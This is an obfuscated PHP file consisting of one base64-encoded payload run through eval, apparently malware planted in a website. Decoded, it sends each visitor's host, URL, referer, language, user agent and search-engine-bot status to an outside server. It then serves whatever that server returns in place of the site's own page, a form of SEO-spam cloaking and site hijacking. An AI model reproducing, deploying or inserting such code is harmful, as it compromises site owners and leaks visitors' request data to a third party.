$a =base64_decode('Y2xhc3MgQ2FzZUluc2Vuc2l0aXZlQXJyYXkgaW1wbGVtZW50cyBcQXJyYXlBY2Nlc3MsIFxDb3VudGFibGUsIFxJdGVyYXRvcg0Kew0KICAgIHByaXZhdGUgJGRhdGEgPSBbXTsNCiAgICBwcml2YXRlICRrZXlzID0gW107DQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KGFycmF5ICRpbml0aWFsID0gbnVsbCkNCiAgICB7DQogICAgICAgIGlmICgkaW5pdGlhbCAhPT0gbnVsbCkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluaXRpYWwgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+b2Zmc2V0U2V0KCRrZXksICR2YWx1ZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIG9mZnNldFNldCgkb2Zmc2V0LCAkdmFsdWUpDQogICAgew0KICAgICAgICBpZiAoJG9mZnNldCA9PT0gbnVsbCkgew0KICAgICAgICAgICAgJHRoaXMtPmRhdGFbXSA9ICR2YWx1ZTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRvZmZzZXRsb3dlciA9IHN0cnRvbG93ZXIoJG9mZnNldCk7DQogICAgICAgICAgICAkdGhpcy0+ZGF0YVskb2Zmc2V0bG93ZXJdID0gJHZhbHVlOw0KICAgICAgICAgICAgJHRoaXMtPmtleXNbJG9mZnNldGxvd2VyXSA9ICRvZmZzZXQ7DQogICAgICAgIH0NCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIG9mZnNldEV4aXN0cygkb2Zmc2V0KQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIGFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkb2Zmc2V0KSwgJHRoaXMtPmRhdGEpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gb2Zmc2V0VW5zZXQoJG9mZnNldCkNCiAgICB7DQogICAgICAgICRvZmZzZXRsb3dlciA9IHN0cnRvbG93ZXIoJG9mZnNldCk7DQogICAgICAgIHVuc2V0KCR0aGlzLT5kYXRhWyRvZmZzZXRsb3dlcl0pOw0KICAgICAgICB1bnNldCgkdGhpcy0+a2V5c1skb2Zmc2V0bG93ZXJdKTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIG9mZnNldEdldCgkb2Zmc2V0KQ0KICAgIHsNCiAgICAgICAgJG9mZnNldGxvd2VyID0gc3RydG9sb3dlcigkb2Zmc2V0KTsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kYXRhWyRvZmZzZXRsb3dlcl0gPz8gbnVsbDsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIGNvdW50KCkNCiAgICB7DQogICAgICAgIHJldHVybiBjb3VudCgkdGhpcy0+ZGF0YSk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBjdXJyZW50KCkNCiAgICB7DQogICAgICAgIHJldHVybiBjdXJyZW50KCR0aGlzLT5kYXRhKTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIG5leHQoKQ0KICAgIHsNCiAgICAgICAgbmV4dCgkdGhpcy0+ZGF0YSk7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBrZXkoKQ0KICAgIHsNCiAgICAgICAgJGtleSA9IGtleSgkdGhpcy0+ZGF0YSk7DQogICAgICAgIHJldHVybiAkdGhpcy0+a2V5c1ska2V5XSA/PyAka2V5Ow0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gdmFsaWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIChrZXkoJHRoaXMtPmRhdGEpICE9PSBudWxsKTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIHJld2luZCgpDQogICAgew0KICAgICAgICByZXNldCgkdGhpcy0+ZGF0YSk7DQogICAgfQ0KfQ0KY2xhc3MgRmFzdEN1cmxHZXQNCnsNCiAgICBwcml2YXRlIHN0YXRpYyAkaGFuZGxlcyA9IFtdOw0KICAgIHByaXZhdGUgc3RhdGljICRoZWFkZXJDYWxsYmFja0RhdGEgPSBbXTsNCiAgICBwcml2YXRlIHN0YXRpYyAkb3B0aW9ucyA9IFsNCiAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICBDVVJMT1BUX0VOQ09ESU5HICAgICAgID0+ICdnemlwLCBkZWZsYXRlJywNCiAgICAgICAgQ1VSTE9QVF9IVFRQX1ZFUlNJT04gICA9PiBDVVJMX0hUVFBfVkVSU0lPTl8yXzAsDQogICAgICAgIENVUkxPUFRfVENQX05PREVMQVkgICAgPT4gdHJ1ZSwNCiAgICAgICAgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCA9PiAyLA0KICAgICAgICBDVVJMT1BUX1RJTUVPVVQgICAgICAgID0+IDUsDQogICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gdHJ1ZSwNCiAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiAyLA0KICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICAgIENVUkxPUFRfTUFYUkVESVJTICAgICAgPT4gMywNCiAgICAgICAgQ1VSTE9QVF9IVFRQSEVBREVSICAgICA9PiBbDQogICAgICAgICAgICAnQ29ubmVjdGlvbjogS2VlcC1BbGl2ZScsDQogICAgICAgICAgICAnQWNjZXB0OiAqLyonLA0KICAgICAgICAgICAgJ0FjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZScNCiAgICAgICAgXQ0KICAgIF07DQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXQoc3RyaW5nICR1cmwsIGFycmF5ICRoZWFkZXJzID0gW10pOiBhcnJheQ0KICAgIHsNCiAgICAgICAgJGtleSA9IHNlbGY6OmdldENvbm5lY3Rpb25LZXkoJHVybCk7DQogICAgICAgIGlmIChpc3NldChzZWxmOjokaGFuZGxlc1ska2V5XSkpIHsNCiAgICAgICAgICAgICRjaCA9IHNlbGY6OiRoYW5kbGVzWyRrZXldOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgICAgICBzZWxmOjokaGFuZGxlc1ska2V5XSA9ICRjaDsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgc2VsZjo6JG9wdGlvbnMpOw0KICAgICAgICB9DQogICAgICAgICRoZWFkZXJfY2FsbGJhY2tfZGF0YSA9IG5ldyBcc3RkQ2xhc3MoKTsNCiAgICAgICAgJGhlYWRlcl9jYWxsYmFja19kYXRhLT5yYXdSZXNwb25zZUhlYWRlcnMgPSAnJzsNCiAgICAgICAgJGhlYWRlcl9jYWxsYmFja19kYXRhLT5yZXNwb25zZUNvb2tpZXMgPSBbXTsNCiAgICAgICAgJGhlYWRlcl9jYWxsYmFja19kYXRhLT5zdG9wUmVxdWVzdERlY2lkZXIgPSBudWxsOw0KICAgICAgICAkaGVhZGVyX2NhbGxiYWNrX2RhdGEtPnN0b3BSZXF1ZXN0ID0gZmFsc2U7DQogICAgICAgIHNlbGY6OiRoZWFkZXJDYWxsYmFja0RhdGFbJGtleV0gPSAkaGVhZGVyX2NhbGxiYWNrX2RhdGE7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVJGVU5DVElPTiwgY3JlYXRlSGVhZGVyQ2FsbGJhY2soJGhlYWRlcl9jYWxsYmFja19kYXRhKSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCwgJ0dFVCcpOw0KICAgICAgICBpZiAoIWVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgJG1lcmdlZEhlYWRlcnMgPSBhcnJheV9tZXJnZShzZWxmOjokb3B0aW9uc1tDVVJMT1BUX0hUVFBIRUFERVJdLCAkaGVhZGVycyk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJG1lcmdlZEhlYWRlcnMpOw0KICAgICAgICB9DQogICAgICAgICRyYXdSZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAkc3RhdHVzID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCiAgICAgICAgJHJhd1Jlc3BvbnNlSGVhZGVycyA9IHNlbGY6OiRoZWFkZXJDYWxsYmFja0RhdGFbJGtleV0tPnJhd1Jlc3BvbnNlSGVhZGVyczsNCiAgICAgICAgJHJlc3BvbnNlQ29va2llcyA9IHNlbGY6OiRoZWFkZXJDYWxsYmFja0RhdGFbJGtleV0tPnJlc3BvbnNlQ29va2llczsNCiAgICAgICAgc2VsZjo6JGhlYWRlckNhbGxiYWNrRGF0YVska2V5XS0+cmF3UmVzcG9uc2VIZWFkZXJzID0gJyc7DQogICAgICAgIHNlbGY6OiRoZWFkZXJDYWxsYmFja0RhdGFbJGtleV0tPnJlc3BvbnNlQ29va2llcyA9IFtdOw0KICAgICAgICBzZWxmOjokaGVhZGVyQ2FsbGJhY2tEYXRhWyRrZXldLT5zdG9wUmVxdWVzdERlY2lkZXIgPSBudWxsOw0KICAgICAgICBzZWxmOjokaGVhZGVyQ2FsbGJhY2tEYXRhWyRrZXldLT5zdG9wUmVxdWVzdCA9IGZhbHNlOw0KICAgICAgICAkcmVzcG9uc2VIZWFkZXJzID0gc2VsZjo6cGFyc2VSZXNwb25zZUhlYWRlcnMoJHJhd1Jlc3BvbnNlSGVhZGVycyk7DQogICAgICAgICRyZXNwb25zZSA9ICRyYXdSZXNwb25zZTsNCiAgICAgICAgaWYgKCRyZXNwb25zZSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRlcnJvciA9IGN1cmxfZXJyb3IoJGNoKTsNCiAgICAgICAgICAgICRlcnJubyA9IGN1cmxfZXJybm8oJGNoKTsNCiAgICAgICAgICAgIHNlbGY6OmNsb3NlQ29ubmVjdGlvbigka2V5KTsNCiAgICAgICAgICAgIHRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKCJjVVJM6K+35rGC5aSx6LSlOiBbJGVycm5vXSAkZXJyb3IiKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gWydib2R5JyA9PiAkcmVzcG9uc2UsICdzdGF0dXMnID0+ICRzdGF0dXMsICdoZWFkZXJzJyA9PiAkcmVzcG9uc2VIZWFkZXJzLCAnZXJyb3InID0+IG51bGxdOw0KICAgIH0NCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGNsb3NlQWxsKCkNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKHNlbGY6OiRoYW5kbGVzIGFzICRrZXkgPT4gJGNoKSB7DQogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgICAgICB1bnNldChzZWxmOjokaGFuZGxlc1ska2V5XSk7DQogICAgICAgIH0NCiAgICB9DQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gY2xvc2VDb25uZWN0aW9uKHN0cmluZyAka2V5KQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KHNlbGY6OiRoYW5kbGVzWyRrZXldKSkgew0KICAgICAgICAgICAgY3VybF9jbG9zZShzZWxmOjokaGFuZGxlc1ska2V5XSk7DQogICAgICAgICAgICB1bnNldChzZWxmOjokaGFuZGxlc1ska2V5XSk7DQogICAgICAgIH0NCiAgICB9DQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gZ2V0Q29ubmVjdGlvbktleShzdHJpbmcgJHVybCk6IHN0cmluZw0KICAgIHsNCiAgICAgICAgJHBhcnNlZCA9IHBhcnNlX3VybCgkdXJsKTsNCiAgICAgICAgJHNjaGVtZSA9ICRwYXJzZWRbJ3NjaGVtZSddID8/ICdodHRwJzsNCiAgICAgICAgJGhvc3QgPSAkcGFyc2VkWydob3N0J10gPz8gJ2xvY2FsaG9zdCc7DQogICAgICAgICRwb3J0ID0gJHBhcnNlZFsncG9ydCddID8/ICgkc2NoZW1lID09PSAnaHR0cHMnID8gNDQzIDogODApOw0KICAgICAgICByZXR1cm4gIiRzY2hlbWU6Ly8kaG9zdDokcG9ydCI7DQogICAgfQ0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHBhcnNlSGVhZGVycygkcmF3X2hlYWRlcnMpDQogICAgew0KICAgICAgICAkaHR0cF9oZWFkZXJzID0gbmV3IENhc2VJbnNlbnNpdGl2ZUFycmF5KCk7DQogICAgICAgICRyYXdfaGVhZGVycyA9IHByZWdfc3BsaXQoJy9cclxuLycsIChzdHJpbmcpICRyYXdfaGVhZGVycywgLTEsIFBSRUdfU1BMSVRfTk9fRU1QVFkpOw0KICAgICAgICBpZiAoJHJhd19oZWFkZXJzID09PSBmYWxzZSkgew0KICAgICAgICAgICAgcmV0dXJuIFsnJywgJGh0dHBfaGVhZGVyc107DQogICAgICAgIH0NCiAgICAgICAgJHJhd19oZWFkZXJzX2NvdW50ID0gY291bnQoJHJhd19oZWFkZXJzKTsNCiAgICAgICAgZm9yICgkaSA9IDE7ICRpIDwgJHJhd19oZWFkZXJzX2NvdW50OyAkaSsrKSB7DQogICAgICAgICAgICBpZiAoc3RycG9zKCRyYXdfaGVhZGVyc1skaV0sICc6JykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gYXJyYXlfcGFkKGV4cGxvZGUoJzonLCAkcmF3X2hlYWRlcnNbJGldLCAyKSwgMiwgJycpOw0KICAgICAgICAgICAgICAgICRrZXkgPSB0cmltKCRrZXkpOw0KICAgICAgICAgICAgICAgICR2YWx1ZSA9IHRyaW0oJHZhbHVlKTsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGh0dHBfaGVhZGVyc1ska2V5XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyc1ska2V5XSAuPSAnLCcgLiAkdmFsdWU7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyc1ska2V5XSA9ICR2YWx1ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIFskcmF3X2hlYWRlcnNbJzAnXSA/PyAnJywgJGh0dHBfaGVhZGVyc107DQogICAgfQ0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHBhcnNlUmVzcG9uc2VIZWFkZXJzKCRyYXdfcmVzcG9uc2VfaGVhZGVycykNCiAgICB7DQogICAgICAgICRyZXNwb25zZV9oZWFkZXJfYXJyYXkgPSBleHBsb2RlKCJcclxuXHJcbiIsICRyYXdfcmVzcG9uc2VfaGVhZGVycyk7DQogICAgICAgICRyZXNwb25zZV9oZWFkZXIgPSAnJzsNCiAgICAgICAgZm9yICgkaSA9IGNvdW50KCRyZXNwb25zZV9oZWFkZXJfYXJyYXkpIC0gMTsgJGkgPj0gMDsgJGktLSkgew0KICAgICAgICAgICAgaWYgKGlzc2V0KCRyZXNwb25zZV9oZWFkZXJfYXJyYXlbJGldKSAmJiBzdHJpcG9zKCRyZXNwb25zZV9oZWFkZXJfYXJyYXlbJGldLCAnSFRUUC8nKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICRyZXNwb25zZV9oZWFkZXIgPSAkcmVzcG9uc2VfaGVhZGVyX2FycmF5WyRpXTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkcmVzcG9uc2VfaGVhZGVycyA9IG5ldyBDYXNlSW5zZW5zaXRpdmVBcnJheSgpOw0KICAgICAgICBsaXN0KCRmaXJzdF9saW5lLCAkaGVhZGVycykgPSBzZWxmOjpwYXJzZUhlYWRlcnMoJHJlc3BvbnNlX2hlYWRlcik7DQogICAgICAgICRyZXNwb25zZV9oZWFkZXJzWydTdGF0dXMtTGluZSddID0gJGZpcnN0X2xpbmU7DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRrZXkgPT4gJHZhbHVlKSB7DQogICAgICAgICAgICAkcmVzcG9uc2VfaGVhZGVyc1ska2V5XSA9ICR2YWx1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHJlc3BvbnNlX2hlYWRlcnM7DQogICAgfQ0KfQ0KZnVuY3Rpb24gY3JlYXRlSGVhZGVyQ2FsbGJhY2soJGhlYWRlcl9jYWxsYmFja19kYXRhKQ0Kew0KICAgIHJldHVybiBmdW5jdGlvbiAoJGNoLCAkaGVhZGVyKSB1c2UgKCRoZWFkZXJfY2FsbGJhY2tfZGF0YSkgew0KICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15TZXQtQ29va2llOlxzKihbXj1dKyk9KFteO10rKS9taScsICRoZWFkZXIsICRjb29raWUpID09PSAxKSB7DQogICAgICAgICAgICAkaGVhZGVyX2NhbGxiYWNrX2RhdGEtPnJlc3BvbnNlQ29va2llc1skY29va2llWzFdXSA9IHRyaW0oJGNvb2tpZVsyXSwgIiBcblxyXHRcMFx4MEIiKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGhlYWRlcl9jYWxsYmFja19kYXRhLT5zdG9wUmVxdWVzdERlY2lkZXIgIT09IG51bGwpIHsNCiAgICAgICAgICAgICRzdG9wX3JlcXVlc3RfZGVjaWRlciA9ICRoZWFkZXJfY2FsbGJhY2tfZGF0YS0+c3RvcFJlcXVlc3REZWNpZGVyOw0KICAgICAgICAgICAgaWYgKCRzdG9wX3JlcXVlc3RfZGVjaWRlcigkY2gsICRoZWFkZXIpKSB7DQogICAgICAgICAgICAgICAgJGhlYWRlcl9jYWxsYmFja19kYXRhLT5zdG9wUmVxdWVzdCA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGhlYWRlcl9jYWxsYmFja19kYXRhLT5yYXdSZXNwb25zZUhlYWRlcnMgLj0gJGhlYWRlcjsNCiAgICAgICAgcmV0dXJuIHN0cmxlbigkaGVhZGVyKTsNCiAgICB9Ow0KfQ0KJHNjaGVtZSA9ICcnOw0KJHVzZXJhZ2VudCA9ICcnOw0KaWYgKGlzX2h0dHBzKCkpIHsNCiAgICAkc2NoZW1lID0gJ2h0dHBzJzsNCn0gZWxzZSB7DQogICAgJHNjaGVtZSA9ICdodHRwJzsNCn0NCiRkdXJpX3RtcCA9IGRyZXF1ZXN0X3VyaSgpOw0KaWYgKCRkdXJpX3RtcCA9PSAnJyl7DQogICAgJGR1cmlfdG1wID0gJy8nOw0KfQ0KJGR1cmkgPSAkZHVyaV90bXA7DQpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsNCiAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ2FyZ3YnXSkpIHsNCiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJGR1cmk7DQp9DQpmdW5jdGlvbiBpc19odHRwcygpDQp7DQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCiRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGxhbmcgPSBAJF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl07DQokbGFuZyA9ICRsYW5nOw0KJHVybHNoYW5nID0gJyc7DQppZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgew0KICAgICR1cmxzaGFuZyA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiAgICAkdXJsc2hhbmcgPSAkdXJsc2hhbmc7DQp9DQpmdW5jdGlvbiBkaXNib3QoKQ0Kew0KICAgICR1QWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgaWYgKHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2JpbmcnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICd5YWhvbycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZScpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ0dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpKSB7DQogICAgICAgIHJldHVybiAnWSc7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICdOJzsNCiAgICB9DQp9DQokY29udGVudCA9ICcnOw0KJGNoYXJzZXQgPSAndXRmLTgnOw0KJGNvbnRlbnRUeXBlID0gJ3RleHQvaHRtbCc7DQokY29kZSA9IDIwMDsNCiRoZWFkZXIgPSBbXTsNCiRyZXNwb25zZSA9IG51bGw7DQokbWFzdGVyID0gJ3ZtZXRpcXVqeC5yYXV2aWFzYy54eXonOw0KJGh0dHBfd2ViID0gJ2h0dHAnOw0KJHVybCA9ICIkaHR0cF93ZWI6Ly97JG1hc3Rlcn0vaW5kZXgucGhwL3dhcC9pbmRleC9wcm9kdWN0IjsNCiRxdWVyeV9tYXJrID0gc3RycG9zKCR1cmwsICc/JykgPiAwID8gJyYnIDogJz8nOw0KJHF1ZXJ5ID0gWw0KICAgICdob3N0JyA9PiAkaG9zdCwNCiAgICAnaXNib3QnID0+IGRpc2JvdCgpLA0KICAgICd1cmknID0+ICRkdXJpLA0KICAgICdyZWZlcmVyJyA9PiAkdXJsc2hhbmcsDQogICAgJ2h0dHAnID0+ICRzY2hlbWUsDQogICAgJ2xhbmcnID0+ICRsYW5nLA0KXTsNCiRxdWVyeSA9IGFycmF5X21lcmdlKCRxdWVyeSwgJF9HRVQpOw0KJHF1ZXJ5Wyd1c2VyYWdlbnQnXSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRxdWVyeV9zdHJpbmcgPSAkcXVlcnlfbWFyayAuIGh0dHBfYnVpbGRfcXVlcnkoJHF1ZXJ5LCAnJywgJyYnKTsNCiR1cmwgLj0gJHF1ZXJ5X3N0cmluZzsNCmlmIChkZWZpbmVkKCdDVVJMT1BUX1VSTCcpKSB7DQogICAgJHJlc3BvbnNlID0gRmFzdEN1cmxHZXQ6OmdldCgkdXJsLCBbDQogICAgXSk7DQp9IGVsc2Ugew0KICAgICRyZXN1bHQgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICAkcmVzcG9uc2UgPSBbDQogICAgICAgICdzdGF0dXMnID0+ICRjb2RlLA0KICAgICAgICAnaGVhZGVycycgPT4gW10sDQogICAgICAgICdib2R5JyA9PiAkcmVzdWx0LA0KICAgICAgICAnZXJyb3InID0+IG51bGwNCiAgICBdOw0KICAgICRzdGF0dXNMaW5lID0gYXJyYXlfc2hpZnQoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKTsNCiAgICBpZiAocHJlZ19tYXRjaCgnL0hUVFBcL1xkXC5cZCAoXGR7M30pLycsICRzdGF0dXNMaW5lLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgJHJlc3BvbnNlWydzdGF0dXMnXSA9IChpbnQpJG1hdGNoZXNbMV07DQogICAgfQ0KICAgICRhbGxvd2VkS2V5cyA9IFsNCiAgICAgICAgJ2NvbnRlbnQtdHlwZScgPT4gdHJ1ZQ0KICAgIF07DQogICAgZm9yZWFjaCAoJGh0dHBfcmVzcG9uc2VfaGVhZGVyIGFzICRsaW5lKSB7DQogICAgICAgIGlmICgkbGluZSA9PT0gIlxyXG4iKSB7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICAkbGluZSA9IHRyaW0oJGxpbmUpOw0KICAgICAgICBpZiAoc3RycG9zKCRsaW5lLCAnOicpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgJGhlYWRlciA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7DQogICAgICAgICAgICAka2V5ID0gc3RydG9sb3dlcih0cmltKCRoZWFkZXJbMF0pKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkYWxsb3dlZEtleXNbJGtleV0pKSB7DQogICAgICAgICAgICAgICAgJHJlc3BvbnNlWydoZWFkZXJzJ11bJGtleV0gPSB0cmltKCRoZWFkZXJbMV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KaWYgKGlzc2V0KCRyZXNwb25zZVsnc3RhdHVzJ10pKSB7DQogICAgJGNvZGUgPSAkcmVzcG9uc2VbJ3N0YXR1cyddOw0KICAgICRoZWFkZXIgPSAkcmVzcG9uc2VbJ2hlYWRlcnMnXTsNCiAgICAkZGF0YSA9ICRyZXNwb25zZVsnYm9keSddOw0KICAgIGlmICghaXNfc3RyaW5nKCRkYXRhKSkgew0KICAgICAgICBpZiAoJGRhdGEgaW5zdGFuY2VvZiBcU2ltcGxlWE1MRWxlbWVudCkgew0KICAgICAgICAgICAgJGNvbnRlbnQgPSAkZGF0YS0+YXNYTUwoKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgICRjb250ZW50ID0gJGRhdGE7DQogICAgfQ0KfQ0KaWYgKCEoMzAyID09ICRjb2RlICYmICc8IVtDREFUQVsjYnJlYWsjXV0+JyA9PT0gJGNvbnRlbnQpKSB7DQogICAgdW5zZXQoJGhlYWRlclsnU3RhdHVzLUxpbmUnXSwgJGhlYWRlclsnY29udGVudC1lbmNvZGluZyddKTsNCiAgICBpZiAoIWhlYWRlcnNfc2VudCgpICYmICFlbXB0eSgkaGVhZGVyKSkgew0KICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUpOw0KICAgICAgICBmb3JlYWNoICgkaGVhZGVyIGFzICRuYW1lID0+ICR2YWwpIHsNCiAgICAgICAgICAgIGhlYWRlcigkbmFtZSAuICc6JyAuICR2YWwpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJGNvbnRlbnQ7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZmFzdGNnaV9maW5pc2hfcmVxdWVzdCcpKSB7DQogICAgICAgIGZhc3RjZ2lfZmluaXNoX3JlcXVlc3QoKTsNCiAgICB9DQogICAgZXhpdDsNCn0='); eval($a);